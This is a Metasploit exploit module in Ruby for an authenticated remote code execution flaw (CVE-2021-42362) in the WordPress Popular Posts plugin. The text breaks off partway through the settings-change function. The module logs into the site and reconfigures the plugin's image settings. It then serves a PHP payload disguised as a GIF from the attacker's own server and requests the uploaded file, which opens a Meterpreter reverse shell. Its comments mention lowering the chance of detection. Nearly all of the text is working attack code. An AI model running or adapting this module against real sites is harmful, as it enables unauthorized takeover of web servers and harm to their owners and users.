nate158g-m-w-n-l-p-d-a-o-e### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Fai